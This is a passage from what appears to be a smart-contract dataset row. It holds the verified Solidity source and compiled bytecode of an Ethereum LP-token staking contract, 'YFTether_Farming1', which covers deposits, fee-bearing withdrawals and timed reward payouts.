9050919050565b600060208201905081810360008301526115dd816113d9565b9050919050565b600060208201905081810360008301526115fd816113fc565b9050919050565b6000602082019050818103600083015261161d8161141f565b9050919050565b6000602082019050818103600083015261163d81611442565b9050919050565b6000602082019050818103600083015261165d81611465565b9050919050565b6000602082019050818103600083015261167d81611488565b9050919050565b6000602082019050818103600083015261169d816114ab565b9050919050565b60006020820190506116b960008301846114ce565b92915050565b60006020820190506116d460008301846114dd565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611701826117be565b915061170c836117be565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117415761174061183a565b5b828201905092915050565b6000611757826117be565b9150611762836117be565b9250828210156117755761177461183a565b5b828203905092915050565b600061178b8261179e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156117f35780820151818401526020810190506117d8565b83811115611802576000848401525b50505050565b6000600282049050600182168061182057607f821691505b6020821081141561183457611833611869565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611bf681611780565b8114611c0157600080fd5b50565b611c0d816117be565b8114611c1857600080fd5b5056fea2646970667358221220567eafc0e46752a1f782a8bd6e0294c7589c61fb6cf6a40352176faa2785e06664736f6c63430008050033
|
{"success": true, "error": null, "results": {}}
| 5,974 |
0x39a31ba1df49678722b20cea939f34bd0b1e3ec1
|
/**
*Submitted for verification at Etherscan.io on 2021-01-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-01-01
*/
pragma solidity >=0.7.5;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YFTether_Farming1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// Uniswap ETH/YFTE LP token contract address
address public constant LPtokenAddress = 0x2dc9136aCE4077D5060131c0ecCD1635897c75dD;
//YFTether token address
address public constant tokenAddress = 0x94F31aC896c9823D81cf9C2C93feCEeD4923218f;
uint public constant withdrawFeePercentX100 = 50;
uint public constant disburseAmount = 50e18;
uint public constant disburseDuration = 7 days;
uint public disbursePercentX100 = 10000;
uint public lastDisburseTime;
constructor() {
lastDisburseTime = block.timestamp;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(tokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = block.timestamp.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
/* function to allow owner to claim *other* ERC20 tokens sent to this contract.
Owner cannot recover unclaimed tokens (they are burnt)
*/
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
// require(_tokenAddr != tokenAddress && _tokenAddr != LPtokenAddress, "Cannot send out reward tokens or LP tokens!");
require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!");
require(_tokenAddr != tokenAddress , "Admin cannot Transfer out Reward Tokens from this vault!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638da5cb5b11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b146107e8578063f3f91fa01461082c578063f9da7db814610884578063fe547f72146108b8576101da565b8063c326bf4f14610736578063d1b965f31461078e578063d578ceab146107ac578063e027c61f146107ca576101da565b806398896d10116100de57806398896d101461065e5780639d76ea58146106b6578063ac51de8d146106ea578063b6b55f2514610708576101da565b80638da5cb5b146105ee5780638e20a1d9146106225780638f5705be14610640576101da565b806346c648731161017c57806365ca78be1161014b57806365ca78be146105265780636a395ccb146105445780637e1c0c09146105b25780638b7afe2e146105d0576101da565b806346c648731461043e5780634e71d92d146104965780635312ea8e146104a05780636270cd18146104ce576101da565b80631f04461c116101b85780631f04461c1461036c5780632e1a7d4d146103c4578063308feec3146103f2578063452b4cfc14610410576101da565b806305447d25146101df5780630813cc8f146103445780630c9a0c781461034e575b600080fd5b610215600480360360408110156101f557600080fd5b8101908080359060200190929190803590602001909291905050506108d6565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015610264578082015181840152602081019050610249565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102a657808201518184015260208101905061028b565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102e85780820151818401526020810190506102cd565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561032a57808201518184015260208101905061030f565b505050509050019850505050505050505060405180910390f35b61034c610bef565b005b610356610ca1565b6040518082815260200191505060405180910390f35b6103ae6004803603602081101561038257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca7565b6040518082815260200191505060405180910390f35b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610cbf565b005b6103fa611173565b6040518082815260200191505060405180910390f35b61043c6004803603602081101561042657600080fd5b8101908080359060200190929190505050611184565b005b6104806004803603602081101561045457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061134a565b6040518082815260200191505060405180910390f35b61049e611362565b005b6104cc600480360360208110156104b657600080fd5b810190808035906020019092919050505061136d565b005b610510600480360360208110156104e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a2565b6040518082815260200191505060405180910390f35b61052e6118ba565b6040518082815260200191505060405180910390f35b6105b06004803603606081101561055a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118c0565b005b6105ba611afc565b6040518082815260200191505060405180910390f35b6105d8611b02565b6040518082815260200191505060405180910390f35b6105f6611b08565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062a611b2c565b6040518082815260200191505060405180910390f35b610648611b32565b6040518082815260200191505060405180910390f35b6106a06004803603602081101561067457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b39565b6040518082815260200191505060405180910390f35b6106be611c80565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106f2611c98565b6040518082815260200191505060405180910390f35b6107346004803603602081101561071e57600080fd5b8101908080359060200190929190505050611d17565b005b6107786004803603602081101561074c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061200b565b6040518082815260200191505060405180910390f35b610796612023565b6040518082815260200191505060405180910390f35b6107b4612028565b6040518082815260200191505060405180910390f35b6107d261202e565b6040518082815260200191505060405180910390f35b61082a600480360360208110156107fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612034565b005b61086e6004803603602081101561084257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612183565b6040518082815260200191505060405180910390f35b61088c61219b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108c06121b3565b6040518082815260200191505060405180910390f35b6060806060808486106108e857600080fd5b60006108fd87876121c090919063ffffffff16565b905060008167ffffffffffffffff8111801561091857600080fd5b506040519080825280602002602001820160405280156109475781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111801561096357600080fd5b506040519080825280602002602001820160405280156109925781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811180156109ae57600080fd5b506040519080825280602002602001820160405280156109dd5781602001602082028036833780820191505090505b50905060008467ffffffffffffffff811180156109f957600080fd5b50604051908082528060200260200182016040528015610a285781602001602082028036833780820191505090505b50905060008b90505b8a811015610bd4576000610a4f8260046121d790919063ffffffff16565b90506000610a668e846121c090919063ffffffff16565b905081878281518110610a7557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610afb57fe5b602002602001018181525050600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610b5357fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610bab57fe5b6020026020010181815250505050610bcd6001826121f190919063ffffffff16565b9050610a31565b50838383839850985098509850505050505092959194509250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c4757600080fd5b6000610c51611c98565b905080600c541015610c6357600c5490505b6000811415610c725750610c9f565b610c7b8161220d565b610c9081600c546121c090919063ffffffff16565b600c8190555042600281905550505b565b60015481565b600a6020528060005260406000206000915090505481565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610d7d3361229b565b6000610da7612710610d9960328561257790919063ffffffff16565b6125a690919063ffffffff16565b90506000610dbe82846121c090919063ffffffff16565b9050732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e6557600080fd5b505af1158015610e79573d6000803e3d6000fd5b505050506040513d6020811015610e8f57600080fd5b8101908080519060200190929190505050610f12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f9757600080fd5b505af1158015610fab573d6000803e3d6000fd5b505050506040513d6020811015610fc157600080fd5b8101908080519060200190929190505050611044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61109683600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ee83600e546121c090919063ffffffff16565b600e819055506111083360046125bf90919063ffffffff16565b801561115357506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561116e5761116c3360046125ef90919063ffffffff16565b505b505050565b600061117f600461261f565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111dc57600080fd5b7394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561127f57600080fd5b505af1158015611293573d6000803e3d6000fd5b505050506040513d60208110156112a957600080fd5b810190808051906020019092919050505061132c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b61134181600c546121f190919063ffffffff16565b600c8190555050565b60076020528060005260406000206000915090505481565b61136b3361229b565b565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611422576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b42600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114d66127106114c860328561257790919063ffffffff16565b6125a690919063ffffffff16565b905060006114ed82846121c090919063ffffffff16565b9050732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561159457600080fd5b505af11580156115a8573d6000803e3d6000fd5b505050506040513d60208110156115be57600080fd5b8101908080519060200190929190505050611641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156116c657600080fd5b505af11580156116da573d6000803e3d6000fd5b505050506040513d60208110156116f057600080fd5b8101908080519060200190929190505050611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6117c583600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181d83600e546121c090919063ffffffff16565b600e819055506118373360046125bf90919063ffffffff16565b801561188257506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561189d5761189b3360046125ef90919063ffffffff16565b505b505050565b60096020528060005260406000206000915090505481565b600b5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461191857600080fd5b732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806128ce6034913960400191505060405180910390fd5b7394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806128966038913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611abb57600080fd5b505af1158015611acf573d6000803e3d6000fd5b505050506040513d6020811015611ae557600080fd5b810190808051906020019092919050505050505050565b600e5481565b600c5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b62093a8081565b6000611b4f8260046125bf90919063ffffffff16565b611b5c5760009050611c7b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bad5760009050611c7b565b6000611c03600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546121c090919063ffffffff16565b90506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611c72600f54611c64858561257790919063ffffffff16565b6125a690919063ffffffff16565b90508093505050505b919050565b7394f31ac896c9823d81cf9c2c93feceed4923218f81565b600080611cb0600254426121c090919063ffffffff16565b90506000611d0d612710611cff62093a80611cf186611ce36001546802b5e3af16b188000061257790919063ffffffff16565b61257790919063ffffffff16565b6125a690919063ffffffff16565b6125a690919063ffffffff16565b9050809250505090565b60008111611d8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b611d963361229b565b732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611e3957600080fd5b505af1158015611e4d573d6000803e3d6000fd5b505050506040513d6020811015611e6357600080fd5b8101908080519060200190929190505050611ee6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611f3881600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f190919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9081600e546121f190919063ffffffff16565b600e81905550611faa3360046125bf90919063ffffffff16565b61200857611fc233600461263490919063ffffffff16565b5042600760003373ffffffffffffffffffffffff